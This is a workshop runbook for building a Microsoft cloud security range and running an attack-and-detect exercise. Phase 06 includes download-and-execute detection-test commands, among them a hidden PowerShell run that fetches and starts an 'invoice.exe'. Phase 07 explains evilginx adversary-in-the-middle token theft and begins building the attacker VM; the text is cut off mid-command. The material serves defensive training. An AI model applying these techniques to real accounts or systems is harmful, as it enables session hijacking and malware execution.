Cyber RangeBuild & Detect Runbook
Purple-Team Lab · Microsoft Cloud Security

Cyber Range

A complete, workshop-ready build for a Microsoft security range - Defender XDR, Microsoft Sentinel in the unified portal, and Defender for Cloud - then a live victim estate of servers and four managed clients, and a full attack→detect→defend exercise that fires a real Entra ID detection and then shuts it down with phishing-resistant passkeys.

Dual track: Portal + Bicep Cloud-native Entra join + Intune 6 workloads · Win & Linux AiTM detection → passkey CAP Grounded in Microsoft Learn
How to read this

Use the Portal / Bicep · CLI switch in the header to flip every build step between click-along portal paths (great live) and infrastructure-as-code (great for rebuilds and for thinking like a cloud security engineer). Blue marks the build & defend track; amber marks the attack & detect thread. Tick steps off as you go - progress is saved in your browser. Never stood up an Azure tenant before? Start at Phase 00 - it takes you from creating an account to signing in before any building begins, and each phase links out to Microsoft's own step-by-step articles.

LIVE ESTATE SENSORS DETECTION PLANES SOC SURFACE File server Windows Server 2025 Web app server Ubuntu 22.04 · Juice Shop 4× clients Windows 11 Enterprise Entra ID identities & sign-ins Defender for Servers auto-onboards MDE Intune + MDE EDR onboarding policy ID Protection risk detections Defender for Cloud CSPM · server alerts Defender XDR endpoints · email Unified Defender portal + Sentinel SIEM incidents · hunting identity risk → incidents
Every workload in the estate emits telemetry into a sensor; sensors feed the three detection planes (Defender XDR, Entra ID Protection, Defender for Cloud); all of it correlates into the unified Defender portal, where Microsoft Sentinel now lives as the SIEM. The amber path - identity → ID Protection → unified portal - is the one Phase 07 lights up.
00
Foundation

Prerequisites, licensing & tenant baseline

Objective: stand up an isolated tenant + subscription with the right licenses, roles, and break-glass safety net so nothing in the range can touch production and every detection plane later has what it needs to light up.

Build this range in a dedicated tenant and subscription that hold nothing else. A cyber range deliberately generates malicious-looking signal and, in Phase 07, a real identity attack - keeping it in its own tenant means that noise, and that blast radius, can never reach anything you care about. If you have never created an Azure account or a Microsoft 365 tenant before, that is exactly what this phase walks you through, from zero.

Step 0.1 · Create an Azure account & subscription

An Azure account, starting from nothing

An Azure account is the identity you sign in with; a subscription is the billing container your resources live in. If you have neither, create them first:

  1. Open the Azure free account page and select Start free. You sign in with (or create) a Microsoft account, verify a phone number, and add a card for identity verification only. New accounts get $200 of credit for 30 days plus a set of always-free services.
  2. You'll land in the Azure portal - the web console you'll use for the entire Portal track. Use the top search bar to open Subscriptions and confirm one is listed.
This range costs real money

It runs 6 VMs plus Defender for Servers, all billed by the hour. The $200 trial credit comfortably covers a workshop, but deallocate or delete the VMs when you finish (see teardown in the appendix) so you're not burning credit while it sits idle.

Step 0.2 · Get a tenant with the security licenses

A Microsoft 365 tenant + the security stack

Your account already includes a Microsoft Entra tenant (your directory of users and sign-ins). To unlock Defender XDR, Entra ID Protection, Intune, and Attack Simulation Training, that tenant needs licenses - and the simplest way to get them all at once is a Microsoft 365 E5 trial. Microsoft publishes a first-timer, click-by-click lab-setup walkthrough for exactly this; follow it to create the E5 trial tenant, then come back here.

  • Microsoft 365 E5 trial - 25 licenses for a month; covers Defender XDR, Entra ID P2, Intune, and Defender for Office 365 P2 (which powers Attack Simulation Training).
  • Defender for Cloud / Defender for Servers - turned on separately on the Azure subscription in Phase 04; per-hour billing with a 30-day free trial.

Licensing you'll lean on

The range touches a lot of Microsoft security products, but the licensing is simpler than it looks. A single Microsoft 365 E5 license covers the entire identity and XDR side: Defender XDR, all of Microsoft Entra ID P2 - which includes Conditional Access, authentication strengths, passkeys, and Identity Protection risk detections - plus Intune and Attack Simulation Training. (M365 E5 includes Enterprise Mobility + Security E5, which is where Entra ID P2 comes from.) The only two costs outside E5 are Azure services you switch on in your own subscription and pay for by usage: Microsoft Sentinel (billed on data ingested) and Microsoft Defender for Cloud / Defender for Servers (per VM-hour, 30-day free trial). Nothing here needs a separate identity add-on.

CapabilityWhat it needsIncluded in M365 E5?Phase
Defender XDR (endpoints, identity, apps, email)MDE P2 + MDO P2 + MDI + Defender for Cloud Apps✓ In E503
Microsoft Entra ID P2 - Conditional Access, auth strengths, passkeys, Identity ProtectionEntra ID P2 (includes all P1 features)✓ In E507-08
Microsoft Intune - enrollment + MDE policyEntra ID P1 + Intune Plan 1✓ In E506
Attack Simulation TrainingDefender for Office 365 Plan 2✓ In E507
ID Protection risk detections (Anomalous Token, Attacker in the Middle)Entra ID P2 + Defender for Cloud Apps✓ In E507
Microsoft Sentinel (SIEM)Log Analytics data ingestionAzure - pay-as-you-go02
Defender for Cloud / Defender for Servers Plan 2Azure subscription planAzure - per VM-hour04-06
Trials cover all of it

Every piece has a trial: an E5 trial (which includes EMS E5, so Entra ID P2 comes with it), a 90-day Defender for Office 365 P2 trial, and Defender for Cloud's 30-day free tier. Combined with the Azure free credit, a range you rebuild for each workshop can run almost entirely on trials.

Roles & the break-glass account

Onboarding Sentinel to the Defender portal requires an unconditional Owner (or User Access Administrator) at subscription scope - a conditional role assignment will silently fail to surface the workspace. For the security config you'll want Global Administrator or a split of Security Administrator + Intune Administrator + Conditional Access Administrator + Authentication Policy Administrator.

Before you write a single Conditional Access policy in Phase 08, create two cloud-only break-glass accounts with long passphrases, exclude them from every CA policy, and store the credentials offline. This is the one step people skip and regret.

Naming & region

Resource names here follow Cloud Adoption Framework style in Central US (cus) - a consistent type-workload-environment-region pattern (for example rg-cyberrange-prod-cus) that keeps everything easy to find and filter later. There is nothing special about these exact names; swap the region abbreviation for whichever Azure region is closest to you. If naming conventions are new to you, the linked article explains the pattern.

rg-cyberrange-prod-cus law-cyberrange-prod-cus vnet-cyberrange-prod-cus vm-fs01 / web01 / cli01-04 snet-servers / clients / AzureBastionSubnet
Step 0.3 · Choose your track & set up tooling

Portal, Bicep, or both

Every build step is written twice - use the Portal  ⇄  Bicep / CLI switch in the header to choose which one you see.

  • Portal track - point-and-click in your browser at portal.azure.com. Nothing to install; best for following along live and seeing what each setting looks like.
  • Bicep / CLI track - infrastructure as code you can re-run to rebuild the entire range in minutes. This is how a cloud engineer would do it.

The easiest way to run the Bicep track, especially your first time, is Azure Cloud Shell: click the >_ icon at the top of the Azure portal and you get a terminal with the Azure CLI and Bicep already installed and already signed in - nothing to set up. Prefer to work locally? Install the Azure CLI (version 2.20.0+) and the Bicep tooling installs itself the first time a command needs it.

Bicep in 90 seconds - first-timer primer

What it is: Bicep is a small, readable language that describes Azure resources in a .bicep text file. You hand the file to Azure and it builds everything in it - the same result as clicking through the portal, but repeatable and reviewable.

The loop you'll repeat in every Bicep step below:

  1. Save the code block to a file, e.g. 01-network.bicep. In Cloud Shell, use Upload/Download files → Upload, or type code 01-network.bicep to paste it into the built-in editor.
  2. Create the resource group once: az group create -n rg-cyberrange-prod-cus -l centralus.
  3. Deploy the file into it: az deployment group create -g rg-cyberrange-prod-cus --template-file 01-network.bicep.
  4. Look for "provisioningState": "Succeeded" in the output, then confirm the new resources in the portal.

Parameters & secrets: a line like param adminUser string is a value you pass at deploy time with --parameters adminUser=rangeadmin. A @secure() parameter (a password) is never shown on screen - leave it off the command and the CLI prompts you for it privately. For authoring, VS Code + the Bicep extension gives you autocomplete and inline validation.

Step 0.4 · Sign in (Bicep / CLI track only)

Connect the CLI to your subscription. Skip this if you're using Cloud Shell - you're already signed in there.

sign in - bash
az login
az account show -o table            # confirm the right subscription is active
# az account set --subscription "<name-or-id>"   # only if you have more than one
Phase 00 · gate
01
Infrastructure

Landing zone & network

Objective: a resource group, a segmented VNet, a locked-down NSG, Azure Bastion for console access with no public RDP/SSH, and the Log Analytics workspace that becomes Sentinel in the next phase.

The network is deliberately boring and safe: servers and clients live in separate subnets, the internet cannot reach management ports, and you reach every VM through Bastion. Everything the range does that's dangerous happens inside the tenant or against an external throwaway host in Phase 07 - never through an exposed VM.

Portal path
  1. Create the resource group: portal.azure.comResource groupsCreate → name rg-cyberrange-prod-cus, region Central US.
  2. CreateVirtual network. Address space 10.50.0.0/16. Add subnets: snet-servers (10.50.1.0/24), snet-clients (10.50.2.0/24), and AzureBastionSubnet (10.50.255.0/26 - the name must be exact).
  3. Create a Network security group nsg-cyberrange, associate it to the server and client subnets, and confirm the default rules deny inbound internet. Do not add public RDP/3389 or SSH/22 allow rules.
  4. CreateAzure Bastion in the VNet (Standard SKU is fine). This is your only inbound path to the VMs.
  5. CreateLog Analytics workspacelaw-cyberrange-prod-cus in Central US. This is the future Sentinel workspace.
Bicep / CLI path

Save as 01-network.bicep and deploy at resource-group scope. This creates the VNet, subnets, NSG, Bastion (with its public IP), and the Log Analytics workspace.

01-network.bicep
param location string = 'centralus'
param tags object = { workload: 'cyberrange', env: 'prod' }

resource law 'Microsoft.OperationalInsights/workspaces@2023-09-01' = {
  name: 'law-cyberrange-prod-cus'
  location: location
  tags: tags
  properties: { sku: { name: 'PerGB2018' }, retentionInDays: 90 }
}

resource nsg 'Microsoft.Network/networkSecurityGroups@2023-11-01' = {
  name: 'nsg-cyberrange'
  location: location
  properties: {
    // no inbound RDP/SSH from internet - Bastion only
    securityRules: [ {
      name: 'deny-inbound-mgmt-internet'
      properties: {
        priority: 4000, direction: 'Inbound', access: 'Deny'
        protocol: '*', sourceAddressPrefix: 'Internet'
        sourcePortRange: '*', destinationAddressPrefix: '*'
        destinationPortRanges: [ '22', '3389' ]
      }
    } ]
  }
}

resource vnet 'Microsoft.Network/virtualNetworks@2023-11-01' = {
  name: 'vnet-cyberrange-prod-cus'
  location: location
  properties: {
    addressSpace: { addressPrefixes: [ '10.50.0.0/16' ] }
    subnets: [
      { name: 'snet-servers', properties: { addressPrefix: '10.50.1.0/24', networkSecurityGroup: { id: nsg.id } } }
      { name: 'snet-clients', properties: { addressPrefix: '10.50.2.0/24', networkSecurityGroup: { id: nsg.id } } }
      { name: 'AzureBastionSubnet', properties: { addressPrefix: '10.50.255.0/26' } }
    ]
  }
}

resource bastionPip 'Microsoft.Network/publicIPAddresses@2023-11-01' = {
  name: 'pip-bastion-cyberrange'
  location: location
  sku: { name: 'Standard' }
  properties: { publicIPAllocationMethod: 'Static' }
}

resource bastion 'Microsoft.Network/bastionHosts@2023-11-01' = {
  name: 'bas-cyberrange'
  location: location
  sku: { name: 'Standard' }
  properties: { ipConfigurations: [ {
    name: 'ipcfg'
    properties: {
      subnet: { id: '${vnet.id}/subnets/AzureBastionSubnet' }
      publicIPAddress: { id: bastionPip.id }
    }
  } ] }
}

output workspaceId string = law.id
deploy - bash
az group create -n rg-cyberrange-prod-cus -l centralus
az deployment group create \
  -g rg-cyberrange-prod-cus \
  --template-file 01-network.bicep
Verify

Bastion shows Succeeded, the three subnets exist, and the NSG has no internet-sourced allow rule on 22/3389. You should be unable to RDP a VM's public IP later - that's correct.

Phase 01 · gate
02
SIEM

Microsoft Sentinel in the unified portal

Objective: enable Sentinel on the workspace and connect it to the Microsoft Defender portal (security.microsoft.com), so the SIEM and Defender XDR share one incident queue and one hunting surface.

Microsoft Sentinel is now generally available inside the Defender portal, and the standalone Azure-portal experience retires after March 31, 2027. A brand-new workspace - the first in the tenant, onboarded after July 1, 2025 - whose owner holds subscription Owner is auto-onboarded to the Defender portal, and the Azure blade simply redirects to it. Either way, the work finishes in the unified portal.

Step 1 - Enable Sentinel on the workspace

Portal path
  1. portal.azure.comMicrosoft SentinelCreate → select law-cyberrange-prod-cusAdd.
  2. Open Sentinel → Content hub → search Microsoft Defender XDRInstall.
  3. Data connectorsMicrosoft Defender XDROpen connector page → connect incidents + entities. Confirm the prerequisites are green.
Bicep / CLI path
02-sentinel.bicep
param location string = 'centralus'
resource law 'Microsoft.OperationalInsights/workspaces@2023-09-01' existing = {
  name: 'law-cyberrange-prod-cus'
}
// Enabling Sentinel = creating the onboarding state on the workspace
resource sentinel 'Microsoft.SecurityInsights/onboardingStates@2024-03-01' = {
  scope: law
  name: 'default'
  properties: {}
}

Then install the Microsoft Defender XDR solution from Content Hub and enable its data connector - the connector's incident/alert stream is what keeps Azure and Defender portals in sync when you're not fully unified.

Step 2 - Connect the workspace to the Defender portal

  1. Go to security.microsoft.com and sign in.
  2. SystemSettingsMicrosoft SentinelConnect a workspace.
  3. Select law-cyberrange-prod-cus, set it as the primary workspace, read the product-change notes, and select Connect.

When it finishes, the Defender portal Home shows Sentinel metrics (data connectors, automation rules) and your SIEM and XDR data share one incident queue.

Watch-out

The Defender portal binds to one Entra tenant and one primary workspace. Pick the range workspace as primary deliberately - that's the workspace whose alerts get correlated with Defender XDR into unified incidents.

Phase 02 · gate
03
XDR

Microsoft Defender XDR

Objective: turn on Defender XDR, provision its workloads (Endpoint, Office 365, Identity, Cloud Apps), and wire the Intune ↔ Defender for Endpoint connection that Phase 06 depends on.

Defender XDR isn't a thing you deploy so much as a thing you turn on and then feed. It provisions automatically the first time an eligible admin opens the portal.

Step 1 - Turn it on

  1. Go to security.microsoft.com as Global Administrator or Security Administrator.
  2. Select any of Incidents & alerts, Hunting, or Threat analytics - that first click provisions the service and picks a data-center location (it matches your Defender for Endpoint region if one exists).

Step 2 - Deploy the supported workloads

XDR only sees what you've deployed. Provision each workload so the range has cross-domain signal to correlate.

WorkloadHow it's deployed
Defender for EndpointOnboarding happens in Phase 06 (clients via Intune) and Phase 04 (servers via Defender for Cloud)
Defender for Office 365Provisioned with Office 365; configure anti-phish / Safe Links policies. Powers Attack Simulation Training in Phase 07
Defender for IdentityOnly needed if you add the AD DS appendix; sensor installs on a domain controller
Defender for Cloud AppsSign in once to provision. Critical for Phase 07 - its connectors are what raise the AiTM and session-cookie-replay detections

Step 3 - Connect Intune to Defender for Endpoint

This one-time, per-tenant service-to-service link is what lets Intune push MDE onboarding automatically in Phase 06.

  1. intune.microsoft.comEndpoint securityMicrosoft Defender for Endpoint. If Connection status is already Enabled, you're done.
  2. If not, open security.microsoft.comSystemSettingsEndpointsAdvanced features, turn Microsoft Intune connection to On, and Save preferences.
No E5? XDR still runs

Sentinel is GA in the Defender portal even without Defender XDR or E5 - but the cross-domain correlation and the identity detections you want in Phase 07 are what the E5 stack buys you.

Phase 03 · gate
04
Cloud posture

Microsoft Defender for Cloud

Objective: enable Defender for Cloud with Defender for Servers Plan 2 so that MDE auto-onboards onto every server VM - Windows and Linux - the moment it exists, with zero per-machine work.

Server onboarding is hands-off. You do not manually onboard the file server or the Linux web box - turn on Defender for Servers Plan 2 and Defender for Cloud auto-provisions the Defender for Endpoint sensor on supported Azure VMs. Plan 2 gives servers the same protection MDE Plan 2 gives clients, billed per-hour.

Enable Defender for Servers

Portal path
  1. portal.azure.comMicrosoft Defender for CloudEnvironment settings → select your subscription.
  2. On the Defender plans page, toggle Servers to On (it defaults to Plan 2; use Change plans only if you want Plan 1) → Save.
  3. The Defender for Endpoint integration is on by default - confirm it under Settings & monitoring. This is what auto-deploys the MDE sensor.
  4. To use Plan 2 extras like File Integrity Monitoring, also enable Plan 2 on law-cyberrange-prod-cus.
  5. Keep the default Microsoft Cloud Security Benchmark assignment for CSPM recommendations.
Bicep / CLI path

Enable the Servers plan (Plan 2) and confirm the MDE integration on the subscription:

enable-defender-servers - bash
# 1) Check current state - "Free" means it isn't enabled yet
az security pricing show -n VirtualMachines --query pricingTier -o tsv

# 2) Enable Defender for Servers. tier 'standard' = Plan 2 by default
#    (add --subplan 'P1' for the cheaper plan). Starts a 30-day free trial.
az security pricing create -n VirtualMachines --tier 'standard'

# 3) Confirm the Defender for Endpoint (WDATP) integration is on - this is
#    what auto-deploys the MDE sensor. Replace $SUB with your subscription ID.
az rest --method put \
  --url "https://management.azure.com/subscriptions/$SUB/providers/Microsoft.Security/settings/WDATP?api-version=2022-05-01" \
  --body '{"name":"WDATP","type":"Microsoft.Security/settings","kind":"DataExportSettings","properties":{"enabled":true}}'
At scale

For many subscriptions, use the built-in initiative “Configure Microsoft Defender for Cloud plans” assigned at a management group, and the “Configure Azure Defender for Servers to be enabled” policy - one assignment covers every current and future subscription underneath.

Route the signal into Sentinel

Under Defender for Cloud → Environment settingsContinuous export, stream security alerts and recommendations to law-cyberrange-prod-cus. Now Defender for Cloud alerts land in the same SIEM as everything else.

Linux prerequisite

Linux auto-onboarding needs Python 3 present (required for Ubuntu 20.04+) and outbound access to the MDE service URLs. Auto-deploy can misbehave on hosts running fanotify-based services - the Ubuntu web box in Phase 05 is clean, so it onboards fine.

Phase 04 · gate
05
The estate

The live environment

Objective: deploy the six workloads - a Windows file server, an Ubuntu web-app server running a deliberately vulnerable app, and four Windows 11 Enterprise clients - into the subnets from Phase 01.

This is the estate your analysts will hunt across. Keep the servers in snet-servers and the clients in snet-clients. No VM gets a public management port - you already have Bastion.

The file server - vm-fs01

Windows Server 2025 Datacenter. The file share is not part of the VM-create wizard, and in particular it is not the Disks tab (that tab is only the VM's own OS and data disks). You build the share inside Windows after the VM boots: connect over Bastion, add the File and Storage Services / File Server role, create a share (say \\vm-fs01\Finance), and turn on object-access auditing so file-access telemetry shows up on the MDE timeline, which is handy for ransomware and data-staging scenarios later. The default 30 GiB OS disk holds a small lab share fine; add a data disk on the Disks tab only if you want the share on its own storage.

The web app server - vm-web01

Ubuntu 22.04 LTS running OWASP Juice Shop on Docker - a deliberately vulnerable web app (free and widely used for training) that gives you realistic web-attack telemetry to correlate. Keep it reachable only from your own admin IP address, not the open internet.

Four clients - vm-cli01vm-cli04

Windows 11 Enterprise. These are the workstations that get Entra-joined and Intune-managed in Phase 06, and one of their users is the Phase 07 target.

VM sizes and quota - check before you deploy

Windows Server 2025 and Windows 11 each want roughly 4 GiB of RAM to run the OS plus the Defender for Endpoint sensor without crawling, so skip the 1 GiB burstable sizes (B2ats_v2, B2ts_v2). These templates default to the B-series v2 burstable family: Standard_B2s_v2 (2 vCPU / 8 GiB) for the clients and file server, and Standard_B2ls_v2 (2 vCPU / 4 GiB) for the Ubuntu box. Two things to confirm first. Quota: new subscriptions often start with little or no quota for this family, and the Intel (Bsv2) and AMD (Basv2) families count separately - the range needs about 12 vCPU of your chosen family (14 with the Phase 07 attacker box). Open Subscriptions → Usage + quotas, filter to your region and family, and check you have room. If you do not, either request an increase there (small burstable bumps usually auto-approve within minutes) or switch to a size you already have quota for, such as Standard_D2s_v5 - it just costs a little more per hour. Availability: sizes and image SKUs also vary by region and zone, so if one is not offered, list what is with az vm list-skus -l centralus --size Standard_B --all -o table and swap it in. Keep every VM in one family so they draw from one quota pool.

Cost warning · do this every session

Deallocate every VM when you stop for the day so the burstable machines stop billing compute. A VM that is merely shut down from inside Windows still bills; it has to be deallocated in Azure. One line stops the whole range: az vm deallocate --ids $(az vm list -g rg-cyberrange-prod-cus --query "[].id" -o tsv). Full teardown is in the appendix.

Portal path
  1. Create a VMvm-fs01, image Windows Server 2025 Datacenter: Azure Edition, into snet-servers, no public inbound ports. Repeat for vm-web01 with Ubuntu Server 22.04 LTS.
  2. For the four clients, create one vm-cli01 from the Windows 11 Enterprise image into snet-clients, then use Create again or capture-and-clone for the rest. (This is exactly where the Bicep track saves you.)
  3. Once vm-fs01 is running, connect over Bastion and build the share inside Windows. Fastest path, in an elevated PowerShell: Install-WindowsFeature FS-FileServer; New-Item C:\Shares\Finance -ItemType Directory; New-SmbShare -Name Finance -Path C:\Shares\Finance -FullAccess Everyone, then auditpol /set /subcategory:"File System" /success:enable. GUI equivalent: Server ManagerFile and Storage ServicesSharesNew Share.
  4. On vm-web01 via Bastion: install Docker and run Juice Shop (commands in the Bicep track's cloud-init below).
Bicep / CLI path

The four clients are a single loop - exactly what infrastructure as code is built for. Below: the client module (a for range) and the two servers. NICs attach to the subnets from Phase 01; none get a public IP.

05-clients.bicep  ·  4× Windows 11
param location string = 'centralus'
param adminUser string
@secure()
param adminPass string
param clientCount int = 4
param vmSize string = 'Standard_B2s_v2'   // Intel Bsv2, 2 vCPU / 8 GiB burstable; bump to Standard_D2s_v5 for snappier clients
resource vnet 'Microsoft.Network/virtualNetworks@2023-11-01' existing = {
  name: 'vnet-cyberrange-prod-cus'
}

resource nic 'Microsoft.Network/networkInterfaces@2023-11-01' = [for i in range(1, clientCount): {
  name: 'nic-cli${padLeft(string(i),2,'0')}'
  location: location
  properties: { ipConfigurations: [ {
    name: 'ipcfg'
    properties: {
      subnet: { id: '${vnet.id}/subnets/snet-clients' }
      privateIPAllocationMethod: 'Dynamic'
    }
  } ] }
}]

resource cli 'Microsoft.Compute/virtualMachines@2024-03-01' = [for i in range(1, clientCount): {
  name: 'vm-cli${padLeft(string(i),2,'0')}'
  location: location
  identity: { type: 'SystemAssigned' }   // required for Entra join (Phase 06)
  properties: {
    hardwareProfile: { vmSize: vmSize }
    osProfile: {
      computerName: 'cli${padLeft(string(i),2,'0')}'
      adminUsername: adminUser
      adminPassword: adminPass
    }
    storageProfile: {
      imageReference: {
        publisher: 'MicrosoftWindowsDesktop'
        offer: 'windows-11'
        sku: 'win11-25h2-ent'
        version: 'latest'
      }
      osDisk: { createOption: 'FromImage', managedDisk: { storageAccountType: 'StandardSSD_LRS' } }
    }
    networkProfile: { networkInterfaces: [ { id: nic[i-1].id } ] }
  }
}]
deploy - bash
az deployment group create -g rg-cyberrange-prod-cus \
  --template-file 05-clients.bicep \
  --parameters adminUser=rangeadmin adminPass=<strong-pass>

# file server (Windows Server 2025) into snet-servers
az vm create -g rg-cyberrange-prod-cus -n vm-fs01 \
  --image MicrosoftWindowsServer:WindowsServer:2025-datacenter-azure-edition:latest \
  --size Standard_B2s_v2 \
  --vnet-name vnet-cyberrange-prod-cus --subnet snet-servers \
  --public-ip-address "" --assign-identity \
  --admin-username rangeadmin --admin-password '<strong-pass>'

# web app server (Ubuntu 22.04) into snet-servers, Juice Shop via cloud-init
az vm create -g rg-cyberrange-prod-cus -n vm-web01 \
  --image Canonical:0001-com-ubuntu-server-jammy:22_04-lts-gen2:latest \
  --size Standard_B2ls_v2 \
  --vnet-name vnet-cyberrange-prod-cus --subnet snet-servers \
  --public-ip-address "" --assign-identity \
  --admin-username rangeadmin --generate-ssh-keys \
  --custom-data cloud-init-web.yaml
cloud-init-web.yaml
#cloud-config
package_update: true
packages: [ docker.io ]
runcmd:
  - systemctl enable --now docker
  - docker run -d --restart always -p 3000:3000 bkimminich/juice-shop
Image versions drift - look them up live

Marketplace image SKUs gain new versions over time, so rather than trusting a hard-coded one, list what's current right before you deploy: az vm image list --publisher MicrosoftWindowsDesktop --offer windows-11 --all -o table for Windows 11, and az vm image list --publisher Canonical --offer 0001-com-ubuntu-server-jammy --all -o table for Ubuntu. If a deployment stops on licensing terms, accept them once with az vm image terms accept --urn <publisher:offer:sku:version>.

Set System-assigned identity now

Every VM you want Entra-joined in Phase 06 needs a system-assigned managed identity. Without it, the Entra-join extension fails silently - the single most common reason a lab VM never appears in Intune. The Bicep and --assign-identity above handle it; if you build in the portal, enable it under the VM's Identity blade.

Phase 05 · gate
06
Management

Intune enrollment & MDE auto-deploy

Objective: Entra-join and Intune-enroll the four clients, push MDE onto them automatically via an EDR onboarding policy, and confirm the two servers picked up MDE from Defender for Servers. End state: every workload reporting into the device inventory.

Architecture note - clients vs servers

Two clean, supported paths converge in the device inventory: clients are Entra-joined → Intune-enrolled → MDE via an Intune EDR policy; servers get MDE from Defender for Servers (Phase 04), which is the sanctioned “automatic” path for Windows and Linux servers - you don't Intune-enroll them. (If you specifically want servers under Intune too, Security Settings Management / MDE-attach is the bridge, but it isn't required here.)

Step 1 - Turn on Intune MDM auto-enrollment

  1. entra.microsoft.com (or portal.azure.com) → Microsoft Entra IDMobility (MDM and MAM)Microsoft Intune.
  2. Set MDM user scope to All (or a pilot group), keep the default MDM URLs, and Save. This is what makes an Entra-joined device auto-enroll into Intune. (Requires Entra ID P1.)

Step 2 - Entra-join + enroll the four clients

Two ways, both cloud-native:

Portal path - OOBE join (most reliable, most realistic)
  1. Connect to vm-cli01 through Bastion.
  2. Run the Windows 11 out-of-box experience → Set up for work or school → sign in with a range user (analyst01@yourlab.com).
  3. The device joins Entra ID and auto-enrolls in Intune because MDM scope = All. Confirm under Settings → Accounts → Access work or school.
  4. Repeat for vm-cli02…04, distributing a couple of range users across them so sign-in telemetry looks human.
Bicep / CLI path - extension join (scriptable)

The AADLoginForWindows extension Entra-joins the VM; combined with the MDM auto-enrollment scope from Step 1 and the system-assigned identity from Phase 05, the device registers and enrolls. Loop it over the four clients.

entra-join-clients - bash
for i in $(seq -w 1 4); do
  az vm extension set \
    -g rg-cyberrange-prod-cus --vm-name "vm-cli${i}" \
    --name AADLoginForWindows \
    --publisher Microsoft.Azure.ActiveDirectory
done
Two hard requirements

The join silently fails without (1) a system-assigned managed identity on the VM and (2) MDM auto-enrollment enabled. You also can't then domain-join the VM to anything else - which is exactly what you want for a cloud-native range.

Step 3 - Push MDE onto the clients via Intune

  1. intune.microsoft.comEndpoint securityEndpoint detection and responseEDR Onboarding Status tab → Deploy preconfigured policy (fastest), or Create Policy for granular control.
  2. If creating manually: Platform Windows, Profile Endpoint detection and response, and set the package type to Auto from connector - the onboarding blob comes straight from the Intune ↔ MDE link you made in Phase 03.
  3. Assign to All devices (or your client group). Onboarding is one-time per device.

Step 4 - Verify everything reports in

Give it 5-20 minutes, then check security.microsoft.comAssetsDevices. You should see the four clients and both servers. Run a detection test to confirm the sensor is live:

Windows client - MDE detection test (PowerShell on the client)
mde-detection-test.ps1
powershell.exe -NoExit -ExecutionPolicy Bypass -WindowStyle Hidden `
  (New-Object System.Net.WebClient).DownloadFile(
   'http://127.0.0.1/1.exe',
   "$env:temp\invoice.exe"); Start-Process "$env:temp\invoice.exe"

Within minutes an alert appears on the device's timeline in the Defender portal, confirming EDR is reporting.

Linux server - EICAR + EDR test (SSH on vm-web01)
linux-mde-test - bash
# confirm the sensor onboarded via Defender for Servers
mdatp health --field org_id
mdatp health --field real_time_protection_enabled

# AV detection test (EICAR - harmless)
curl -o /tmp/eicar.com.txt https://secure.eicar.org/eicar.com.txt
mdatp threat list

# EDR detection test
curl -o mde_edr.sh https://aka.ms/MDE-Linux-EDR-DIY
chmod +x mde_edr.sh && ./mde_edr.sh
Verify

Device inventory shows 6 onboarded machines; each detection test raises an alert in the Defender portal. The range now has endpoint eyes everywhere.

Phase 06 · gate
07
Attack → Detect

AiTM phishing → a real Entra ID detection

Objective: run an adversary-in-the-middle sign-in against a seeded test account, fire the Attacker in the Middle / Anomalous Token risk detections in Entra ID Protection, and trace them through the unified portal and Sentinel - the signal you'll defeat in Phase 08.

Before you run this

Run it only inside the isolated range tenant, against the dedicated, unprivileged seeded account (e.g. aitm-target@yourlab.com) created for it, from infrastructure outside the range network, with authorization to test, and tear that infrastructure down afterward. Everything here targets an account you own, to validate your own detections.

Why AiTM matters - and what actually fires the detection

Adversary-in-the-middle phishing beats ordinary MFA because the attacker doesn't steal a password - they proxy the whole authenticated session and steal the issued token. The victim really does complete MFA; the attacker just pockets the resulting session cookie and replays it. That token replay is precisely what Entra ID Protection is tuned to catch.

Test victim aitm-target@ Attacker reverse proxy relays creds + MFA Real Entra ID issues session token Stolen token replayed from a new IP / ASN ID Protection + MDCA Attacker in the Middle Anomalous Token 1 · lure 2 · relay token 3 · capture 4 · detect
The proxy sits in the live session and captures the token Entra issues after MFA succeeds. Because the replay arrives from unfamiliar infrastructure, Defender for Cloud Apps + ID Protection raise Attacker in the Middle and Anomalous Token. Phase 08 removes step 2 entirely.

Two ways to run the attack

There are two ways to generate this signal. Attack Simulation Training is the built-in, hands-off option and a solid warm-up; the evilginx reverse proxy is the real adversary-in-the-middle attack that produces the genuine Entra ID Protection detection. Run them back to back - the contrast between what each one sets off is the lesson.

Option A - Attack Simulation Training

Defender for Office 365 ships with a built-in phishing range. In security.microsoft.comEmail & collaborationAttack simulation training, launch a Credential Harvest (or Link in Attachment) simulation against the seeded account only. Microsoft hosts the fake login page, discards anything typed into it, and records the click and the “compromise” event.

It generates Defender for Office 365 phishing and compromise telemetry and assigns user training. It does not raise the Identity Protection Attacker in the Middle or Anomalous Token detections, because it never proxies a live sign-in - no real token is ever issued or replayed. Treat it as the email-side exercise; Option B produces the identity detection this phase is built around.

Option B - evilginx reverse proxy (the real AiTM)

evilginx is an open-source adversary-in-the-middle framework. It stands up a reverse proxy in front of the genuine Microsoft sign-in, relays the target's credentials and MFA to Entra ID in real time, and captures the session cookie Entra hands back once MFA succeeds. Replaying that cookie is what trips the detection. The steps below are a complete lab build. One file is left to the project itself: the Microsoft phishlet - the YAML that defines how the proxy mirrors the Microsoft login. Operators load a maintained phishlet from the evilginx project rather than writing one by hand, so download the Microsoft (o365) phishlet from the project, drop it into the phishlets/ folder, and enable it by name.

B.1 · Build the attacker machine (an Ubuntu VM in Azure)

evilginx needs its own Linux machine with a public IP address, kept separate from the range so its sign-ins arrive from an unfamiliar network - that novelty is part of what Identity Protection scores. The most approachable way to get one, using exactly what the Azure Fundamentals course covers, is a small Ubuntu virtual machine in Azure, placed in its own resource group (not the range's). Its own public IP is the “outside” origin you need.

Portal path
  1. portal.azure.com → search Virtual machinesCreateAzure virtual machine.
  2. Resource group: Create newrg-cyberrange-attacker - a brand-new group, deliberately separate from the range.
  3. Virtual machine name vm-evilginx; Image Ubuntu Server 22.04 LTS; Size B1s or B2s (a dollar or two of credit).
  4. Authentication type SSH public key; Username azureuser; leave Generate new key pair selected.
  5. Under Inbound port rules, allow SSH (22) for now. Review + createCreate, and when prompted Download private key - keep that file safe; it's how you log in.
  6. Open the VM → NetworkingAdd inbound port rule for 80, 443, and 53 (add 53 for both TCP and UDP). Note the Public IP address on the VM's Overview page.
  7. Connect: on the VM, Connect → SSH shows the exact command, or from your own terminal run ssh -i <downloaded-key>.pem azureuser@<public-ip>.
Bicep / CLI path
build the attacker VM - bash
# Its OWN resource group - not the range RG
az group create -n rg-cyberrange-attacker -l centralus

# Small Ubuntu VM with a public IP and an auto-generated SSH key
az vm create -g rg-cyberrange-attacker -n vm-evilginx \
  --image Canonical:0001-com-ubuntu-server-jammy:22_04-lts-gen2:latest \
